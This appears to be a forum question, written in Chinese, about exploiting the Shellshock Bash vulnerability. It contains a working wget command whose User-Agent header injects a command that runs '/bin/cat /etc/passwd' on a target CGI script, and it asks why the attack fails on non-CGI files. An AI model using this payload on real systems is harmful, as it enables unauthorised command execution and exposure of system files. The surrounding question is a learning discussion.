我一直在尝试利用系统中的 Shellshock 漏洞并遇到了一个有趣的问题。我一直在使用“wget”来利用该漏洞。我正在使用的命令如下:
wget -U "() { test;};echo \"Content-type: text/plain\"; echo; echo; /bin/cat /etc/passwd" http://somesite.com/some-script.cgi
使用上述命令,漏洞按预期显示。但是,当我尝试 wget 一个不是 .cgi 文件的文件时,漏洞不会出现,并且只下载文件。
据我了解,wget 应该将 User-Agent 字符串设置为应该运行代码的命令中传递的值/bin/cat /etc/passwd
,我看不出这与正在下载的文件的性质有什么关系。
提前致谢。